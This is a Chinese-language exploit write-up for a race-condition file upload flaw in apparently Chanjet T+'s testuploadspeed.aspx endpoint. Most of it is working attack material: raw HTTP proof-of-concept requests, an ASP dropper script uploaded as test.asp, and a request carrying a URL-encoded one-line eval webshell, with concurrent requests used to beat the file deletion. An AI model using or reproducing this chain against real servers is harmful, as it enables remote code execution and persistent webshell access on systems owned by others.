反编译dll
逻辑上很清晰了。取得上传数据然后直接写入Templates目录里去,且写入路径直接拼接文件名,说明写入路径可控。然后马上又调用Delete方法删除文件。看起来貌似很正常的样子,但实际上这里已经出现了严重的安全问题。首先是未限制上传文件的后缀,大概是程序员觉得上传后马上就删除了应该没啥问题。其次是写入路径可控。最后是逻辑顺序设计的不合理,当程序在服务端并发处理用户请求时就会出现问题,如果在文件上传成功后但是在删除它以前这个文件就被执行了那么会怎样呢?
我们假设攻击者上传了一个用来生成恶意shell的文件,在上传完成并删除它的间隙,攻击者通过不断地发起访问请求的方法访问了该文件,该文件就会被执行,并且在服务器上生成一个恶意shell的文件。至此,该文件的任务就已全部完成,至于后面把它删除的问题都已经不重要了,因为攻击者已经成功的在服务器中植入了一个shell文件,后续的一切就都不是问题了。
然后bp发送poc
POST /tplus/SM/upload/testuploadspeed.aspx HTTP/1.1
Host: 192.168.233.146:8080
Accept: /
Content-Type:multipart/form-data; boundary=X-INSOMNIA-BOUNDARY
Content-Length: 150
Connection: close
--X-INSOMNIA-BOUNDARY
Content-Disposition: form-data; name="File1";filename="8888.txt"
Content-Type: image/jpeg
8888
--X-INSOMNIA-BOUNDARY--
可以看到成功上传,
但是我们查看发现并没有这个文件,说明我们上传的速度没它删除的速度快,那么我们并发执行
可以看到访问200成功,存在条件竞争
那么这里怎么上传webshell呢(这里拿一句话木马做实验)
POST /tplus/SM/upload/testuploadspeed.aspx HTTP/1.1
Host: 192.168.1.8:8080
Accept: /
Content-Type:multipart/form-data; boundary=X-INSOMNIA-BOUNDARY
Content-Length: 561
Connection: close
--X-INSOMNIA-BOUNDARY
Content-Disposition: form-data; name="File1";filename="test.asp"
Content-Type: image/jpeg
<%
txtcontent = request("x")
PromotionPath = "upload.asp"
WriteToHtml PromotionPath,txtcontent
Function WriteToHtml(Fpath,Templet)
Dim FSO
Dim FCr
Set FSO = CreateObject("Scripting.FileSystemObject")
If FSO.FILEExists(Fpath) Then
FSO.deleteFILE Fpath
End If
Set FCr = FSO.CreateTextFile(Server.MapPath(Fpath), True)
FCr.Write(Templet)
FCr.Close
Set FCr = Nothing
Set FSO = Nothing
End Function
%>
--X-INSOMNIA-BOUNDARY--
通过ASP代码来生成的一句话,传到x参数
GET /tplus/Templates/test.asp?x=%3c%25%65%76%61%6c%20%72%65%71%75%65%73%74%28%22%78%22%29%25%3e HTTP/1.1
Host: 192.168.1.8:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-AjaxPro-Method: HasDemoAccount
X-Requested-With: XMLHttpRequest
Origin: http://192.168.1.8:8080
Connection: close
Referer: http://192.168.1.8:8080/tplus/view/login.html
Cookie: ASP.NET_SessionId=1jrpbndwuqi4cnu5dj204mn3; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1712566102; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1712585308
这里404是因为我们发送了一次,立马又被删了
进行并发操作
可以看到返回200,能够读取到文件
可以看到成功上传一句话木马